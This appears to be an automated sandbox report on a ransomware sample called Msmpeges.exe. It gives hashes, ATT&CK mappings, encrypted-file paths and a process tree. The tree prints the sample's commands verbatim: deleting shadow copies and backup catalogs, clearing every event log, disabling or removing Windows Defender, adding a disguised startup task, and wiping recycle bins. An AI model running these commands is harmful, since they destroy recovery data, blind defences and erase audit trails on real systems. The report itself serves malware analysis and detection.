eb29fced033ea67608e939b173704b856db3fe680fce51b06c85bb99b25dad9d

Resubmissions

28/07/2023, 02:16

230728-cqg16sah59 9

28/07/2023, 02:05

230728-ch3mxabe91 9

Analysis

max time kernel
361s
max time network
365s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
28/07/2023, 02:05

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General

Target

Msmpeges.exe
Size

161KB
MD5

1dde7e42e33b9ed602f9c839cca7150b
SHA1

538a0f38f2745dff05c7f2e05fc1fe3165b7767e
SHA256

edcccd772c68c75f56becea7f54fb7ee677863b6beaca956c52ee20ec23b472d
SHA512

c4d5a9288237a7f06295ea7bbb86b8917b9caba23673421dad6277506771ce87e233bb6894c30802a1cda927c2a3360be49ea2c96c245e9dc5944461e256f2b0
SSDEEP

3072:X2+fD5RiXm5v/ACvkIF/o7t4PX5AvJ+juO4LcVm8:VfD5RiXmh5sIm7t4PyaELcE8

Score

9^/10

ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (7409) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes itself 1 IoCs

pid	Process
1792	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
880	Diag.exe

Loads dropped DLL 1 IoCs

pid	Process
2324	cmd.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-21-1024678951-1535676557-2778719785-1000\desktop.ini	Msmpeges.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-1024678951-1535676557-2778719785-1000\desktop.ini	Msmpeges.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	Msmpeges.exe
File opened (read-only)	\??\K:	Msmpeges.exe
File opened (read-only)	\??\O:	Msmpeges.exe
File opened (read-only)	\??\T:	Msmpeges.exe
File opened (read-only)	\??\Z:	Msmpeges.exe
File opened (read-only)	\??\H:	Msmpeges.exe
File opened (read-only)	\??\M:	Msmpeges.exe
File opened (read-only)	\??\U:	Msmpeges.exe
File opened (read-only)	\??\V:	Msmpeges.exe
File opened (read-only)	\??\W:	Msmpeges.exe
File opened (read-only)	\??\X:	Msmpeges.exe
File opened (read-only)	\??\Y:	Msmpeges.exe
File opened (read-only)	\??\F:	Msmpeges.exe
File opened (read-only)	\??\B:	Msmpeges.exe
File opened (read-only)	\??\E:	Msmpeges.exe
File opened (read-only)	\??\I:	Msmpeges.exe
File opened (read-only)	\??\L:	Msmpeges.exe
File opened (read-only)	\??\P:	Msmpeges.exe
File opened (read-only)	\??\A:	Msmpeges.exe
File opened (read-only)	\??\J:	Msmpeges.exe
File opened (read-only)	\??\N:	Msmpeges.exe
File opened (read-only)	\??\Q:	Msmpeges.exe
File opened (read-only)	\??\R:	Msmpeges.exe
File opened (read-only)	\??\S:	Msmpeges.exe
File opened (read-only)	\??\D:	Msmpeges.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ApothecaryResume.dotx.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\ink\de-DE\rtscom.dll.mui	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21518_.GIF	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Maputo	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD01548_.WMF.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18233_.WMF.Black	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-explorer.jar	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\MCIMPP.mpp.Black	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\stopNetworkServer	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\LoginTool24x24Images.jpg	Msmpeges.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\Black_Recover.txt	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02268_.WMF.Black	Msmpeges.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\zh-CN\tipresx.dll.mui	Msmpeges.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\Stationery\Music.emf	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Macau	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsColorChart.html.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSWORD.OLB.Black	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-api.xml.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Biscay\TAB_OFF.GIF	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099193.GIF.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SPRNG_01.MID	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Chicago	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Maldives.Black	Msmpeges.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\js\Black_Recover.txt	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0185796.WMF.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0240175.WMF.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01296_.GIF.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\EADOCUMENTAPPROVAL_REVIEW.XSN	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL108.XML	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR49F.GIF.Black	Msmpeges.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Black_Recover.txt	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\PST8	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FieldTypePreview\LISTBOX.JPG	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach.ja_5.5.0.165303.jar.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GROOVE_F_COL.HXK.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18189_.WMF	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME17.CSS	Msmpeges.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler.jar.Black	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.SF	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099185.JPG.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD15272_.GIF.Black	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse.nl_zh_4.4.0.v20140623020002.jar.Black	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.nl_ja_4.4.0.v20140623020002.jar	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Kerguelen.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OneNote\SendToOneNote.ini	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\THIRDPARTYLICENSEREADME.txt	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\MSQRY32.CHM	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\CONVERT\OLMAIL.FAE.Black	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui_5.5.0.165303.jar	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\bg_FormsHomePage.gif.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\it-IT\wmplayer.exe.mui	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\TN00095_.WMF.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0183328.WMF.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\INDUST\PREVIEW.GIF.Black	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.natives.nl_ja_4.4.0.v20140623020002.jar.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0400001.PNG.Black	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Tegucigalpa	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105328.WMF.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0195788.WMF.Black	Msmpeges.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Phoenix.Black	Msmpeges.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\rtf_choosefont.gif.Black	Msmpeges.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2840	schtasks.exe

Interacts with shadow copies 2 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2424	vssadmin.exe
2820	vssadmin.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1416	PING.EXE
2776	PING.EXE

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2008	powershell.exe
2796	powershell.exe
2780	powershell.exe
2468	Msmpeges.exe
2468	Msmpeges.exe
2468	Msmpeges.exe
2468	Msmpeges.exe
2468	Msmpeges.exe
2468	Msmpeges.exe
2468	Msmpeges.exe
2468	Msmpeges.exe
2468	Msmpeges.exe
2468	Msmpeges.exe
2468	Msmpeges.exe
2468	Msmpeges.exe
216	powershell.exe
2308	powershell.exe
1116	powershell.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	2468	Msmpeges.exe
Token: SeRestorePrivilege	2468	Msmpeges.exe
Token: SeBackupPrivilege	2468	Msmpeges.exe
Token: SeTakeOwnershipPrivilege	2468	Msmpeges.exe
Token: SeAuditPrivilege	2468	Msmpeges.exe
Token: SeSecurityPrivilege	2468	Msmpeges.exe
Token: SeIncBasePriorityPrivilege	2468	Msmpeges.exe
Token: SeBackupPrivilege	1072	vssvc.exe
Token: SeRestorePrivilege	1072	vssvc.exe
Token: SeAuditPrivilege	1072	vssvc.exe
Token: SeDebugPrivilege	2008	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	216	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 2560	2468	Msmpeges.exe	29
PID 2468 wrote to memory of 2560	2468	Msmpeges.exe	29
PID 2468 wrote to memory of 2560	2468	Msmpeges.exe	29
PID 2468 wrote to memory of 2560	2468	Msmpeges.exe	29
PID 2468 wrote to memory of 2872	2468	Msmpeges.exe	31
PID 2468 wrote to memory of 2872	2468	Msmpeges.exe	31
PID 2468 wrote to memory of 2872	2468	Msmpeges.exe	31
PID 2468 wrote to memory of 2872	2468	Msmpeges.exe	31
PID 2468 wrote to memory of 2936	2468	Msmpeges.exe	32
PID 2468 wrote to memory of 2936	2468	Msmpeges.exe	32
PID 2468 wrote to memory of 2936	2468	Msmpeges.exe	32
PID 2468 wrote to memory of 2936	2468	Msmpeges.exe	32
PID 2468 wrote to memory of 3000	2468	Msmpeges.exe	35
PID 2468 wrote to memory of 3000	2468	Msmpeges.exe	35
PID 2468 wrote to memory of 3000	2468	Msmpeges.exe	35
PID 2468 wrote to memory of 3000	2468	Msmpeges.exe	35
PID 2468 wrote to memory of 2288	2468	Msmpeges.exe	36
PID 2468 wrote to memory of 2288	2468	Msmpeges.exe	36
PID 2468 wrote to memory of 2288	2468	Msmpeges.exe	36
PID 2468 wrote to memory of 2288	2468	Msmpeges.exe	36
PID 2468 wrote to memory of 1548	2468	Msmpeges.exe	38
PID 2468 wrote to memory of 1548	2468	Msmpeges.exe	38
PID 2468 wrote to memory of 1548	2468	Msmpeges.exe	38
PID 2468 wrote to memory of 1548	2468	Msmpeges.exe	38
PID 2468 wrote to memory of 2992	2468	Msmpeges.exe	39
PID 2468 wrote to memory of 2992	2468	Msmpeges.exe	39
PID 2468 wrote to memory of 2992	2468	Msmpeges.exe	39
PID 2468 wrote to memory of 2992	2468	Msmpeges.exe	39
PID 2468 wrote to memory of 1784	2468	Msmpeges.exe	40
PID 2468 wrote to memory of 1784	2468	Msmpeges.exe	40
PID 2468 wrote to memory of 1784	2468	Msmpeges.exe	40
PID 2468 wrote to memory of 1784	2468	Msmpeges.exe	40
PID 2468 wrote to memory of 2916	2468	Msmpeges.exe	41
PID 2468 wrote to memory of 2916	2468	Msmpeges.exe	41
PID 2468 wrote to memory of 2916	2468	Msmpeges.exe	41
PID 2468 wrote to memory of 2916	2468	Msmpeges.exe	41
PID 2560 wrote to memory of 2840	2560	cmd.exe	42
PID 2560 wrote to memory of 2840	2560	cmd.exe	42
PID 2560 wrote to memory of 2840	2560	cmd.exe	42
PID 2560 wrote to memory of 2840	2560	cmd.exe	42
PID 2992 wrote to memory of 2008	2992	cmd.exe	49
PID 2992 wrote to memory of 2008	2992	cmd.exe	49
PID 2992 wrote to memory of 2008	2992	cmd.exe	49
PID 2992 wrote to memory of 2008	2992	cmd.exe	49
PID 1784 wrote to memory of 2796	1784	cmd.exe	50
PID 1784 wrote to memory of 2796	1784	cmd.exe	50
PID 1784 wrote to memory of 2796	1784	cmd.exe	50
PID 1784 wrote to memory of 2796	1784	cmd.exe	50
PID 2916 wrote to memory of 2484	2916	cmd.exe	51
PID 2916 wrote to memory of 2484	2916	cmd.exe	51
PID 2916 wrote to memory of 2484	2916	cmd.exe	51
PID 2916 wrote to memory of 2484	2916	cmd.exe	51
PID 3000 wrote to memory of 2780	3000	cmd.exe	52
PID 3000 wrote to memory of 2780	3000	cmd.exe	52
PID 3000 wrote to memory of 2780	3000	cmd.exe	52
PID 3000 wrote to memory of 2780	3000	cmd.exe	52
PID 1548 wrote to memory of 2424	1548	cmd.exe	53
PID 1548 wrote to memory of 2424	1548	cmd.exe	53
PID 1548 wrote to memory of 2424	1548	cmd.exe	53
PID 1548 wrote to memory of 2424	1548	cmd.exe	53
PID 2468 wrote to memory of 2388	2468	Msmpeges.exe	60
PID 2468 wrote to memory of 2388	2468	Msmpeges.exe	60
PID 2468 wrote to memory of 2388	2468	Msmpeges.exe	60
PID 2468 wrote to memory of 2388	2468	Msmpeges.exe	60

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Msmpeges.exe
"C:\Users\Admin\AppData\Local\Temp\Msmpeges.exe"
1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Update BETA" /TR "C:\Users\Admin\AppData\Local\Temp\Msmpeges.exe" /F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Update BETA" /TR "C:\Users\Admin\AppData\Local\Temp\Msmpeges.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2840
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rd /s /q P:\$RECYCLE.BIN,Q:\$RECYCLE.BIN,R:\$RECYCLE.BIN,S:\$RECYCLE.BIN,T:\$RECYCLE.BIN,U:\$RECYCLE.BIN,V:\$RECYCLE.BIN,W:\$RECYCLE.BIN,X:\$RECYCLE.BIN,F:\$RECYCLE.BIN,G:\$RECYCLE.BIN,K:\$RECYCLE.BIN,L:\$RECYCLE.BIN,M:\$RECYCLE.BIN,N:\$RECYCLE.BIN,O:\$RECYCLE.BIN,Y:\$RECYCLE.BIN,Z:\$RECYCLE.BIN,A:\$RECYCLE.BIN,B:\$RECYCLE.BIN,C:\$RECYCLE.BIN,D:\$RECYCLE.BIN,E:\$RECYCLE.BIN,H:\$RECYCLE.BIN,I:\$RECYCLE.BIN,J:\$RECYCLE.BIN
  2⤵
  PID:2872
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rd /s /q P:\Recycler,Q:\Recycler,R:\Recycler,S:\Recycler,T:\Recycler,U:\Recycler,V:\Recycler,W:\Recycler,X:\Recycler,F:\Recycler,G:\Recycler,K:\Recycler,L:\Recycler,M:\Recycler,N:\Recycler,O:\Recycler,Y:\Recycler,Z:\Recycler,A:\Recycler,B:\Recycler,C:\Recycler,D:\Recycler,E:\Recycler,H:\Recycler,I:\Recycler,J:\Recycler
  2⤵
  PID:2936
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Remove -Item 'd:\$RECYCLE.BIN','c:\$RECYCLE.BIN' -Recurse -Force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Remove -Item 'd:\$RECYCLE.BIN','c:\$RECYCLE.BIN' -Recurse -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2780
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c FOR / F "delims=" %I IN ('WEVTUTIL EL') DO (WEVTUTIL CL "%I")
  2⤵
  PID:2288
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet&&wbadmin delete catalog -quiet && bcdedit.exe /set {current} nx AlwaysOff && wmic SHADOWCOPY DELETE
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin.exe delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2424
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%s"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%s"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Remove-WindowsFeature Windows-Defender&&powershell -inputformat none -outputformat none -NonInteractive -Command Windows-Defender-GUI&&powershell -inputformat none -outputformat none -NonInteractive -Command New-ItemProperty -Path "HKLM:SOFTWAREPoliciesMicrosoftWindows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Remove-WindowsFeature Windows-Defender
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2796
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Get-Service WinDefend | Stop-Service -PassThru | Set-Service -StartupType Disabled&&powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Get-Service WinDefend
    3⤵
    PID:2484
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rd /s /q P:\$RECYCLE.BIN,Q:\$RECYCLE.BIN,R:\$RECYCLE.BIN,S:\$RECYCLE.BIN,T:\$RECYCLE.BIN,U:\$RECYCLE.BIN,V:\$RECYCLE.BIN,W:\$RECYCLE.BIN,X:\$RECYCLE.BIN,F:\$RECYCLE.BIN,G:\$RECYCLE.BIN,K:\$RECYCLE.BIN,L:\$RECYCLE.BIN,M:\$RECYCLE.BIN,N:\$RECYCLE.BIN,O:\$RECYCLE.BIN,Y:\$RECYCLE.BIN,Z:\$RECYCLE.BIN,A:\$RECYCLE.BIN,B:\$RECYCLE.BIN,C:\$RECYCLE.BIN,D:\$RECYCLE.BIN,E:\$RECYCLE.BIN,H:\$RECYCLE.BIN,I:\$RECYCLE.BIN,J:\$RECYCLE.BIN
  2⤵
  PID:2388
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rd /s /q P:\Recycler,Q:\Recycler,R:\Recycler,S:\Recycler,T:\Recycler,U:\Recycler,V:\Recycler,W:\Recycler,X:\Recycler,F:\Recycler,G:\Recycler,K:\Recycler,L:\Recycler,M:\Recycler,N:\Recycler,O:\Recycler,Y:\Recycler,Z:\Recycler,A:\Recycler,B:\Recycler,C:\Recycler,D:\Recycler,E:\Recycler,H:\Recycler,I:\Recycler,J:\Recycler
  2⤵
  PID:2220
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Remove -Item 'd:\$RECYCLE.BIN','c:\$RECYCLE.BIN' -Recurse -Force
  2⤵
  PID:1856
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Remove -Item 'd:\$RECYCLE.BIN','c:\$RECYCLE.BIN' -Recurse -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:216
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c FOR / F "delims=" %I IN ('WEVTUTIL EL') DO (WEVTUTIL CL "%I")
  2⤵
  PID:2980
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet&&wbadmin delete catalog -quiet && bcdedit.exe /set {current} nx AlwaysOff && wmic SHADOWCOPY DELETE
  2⤵
  PID:2368
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin.exe delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2820
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%s"
  2⤵
  PID:2836
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%s"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1116
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Remove-WindowsFeature Windows-Defender&&powershell -inputformat none -outputformat none -NonInteractive -Command Windows-Defender-GUI&&powershell -inputformat none -outputformat none -NonInteractive -Command New-ItemProperty -Path "HKLM:SOFTWAREPoliciesMicrosoftWindows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
  2⤵
  PID:1804
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Remove-WindowsFeature Windows-Defender
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2308
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Get-Service WinDefend | Stop-Service -PassThru | Set-Service -StartupType Disabled&&powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:1100
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Get-Service WinDefend
    3⤵
    PID:2344
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\Msmpeges.exe"
  2⤵
  - Deletes itself
  PID:1792
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1416
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Update BETA" /F
  2⤵
  PID:1672
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Update BETA" /F
    3⤵
    PID:2060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\Diag.exe"
  2⤵
  - Loads dropped DLL
  PID:2324

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1072

C:\ProgramData\Diag.exe
C:\ProgramData\Diag.exe
1⤵
- Executes dropped EXE
PID:880
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c ping 127.0.0.1 -n 5 > nul & del "C:\ProgramData\Diag.exe"
  2⤵
  PID:2936
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\$RECYCLE.BIN\S-1-5-~1\desktop.ini

Filesize
129B

MD5
a526b9e7c716b3489d8cc062fbce4005

SHA1
2df502a944ff721241be20a9e449d2acd07e0312

SHA256
e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

SHA512
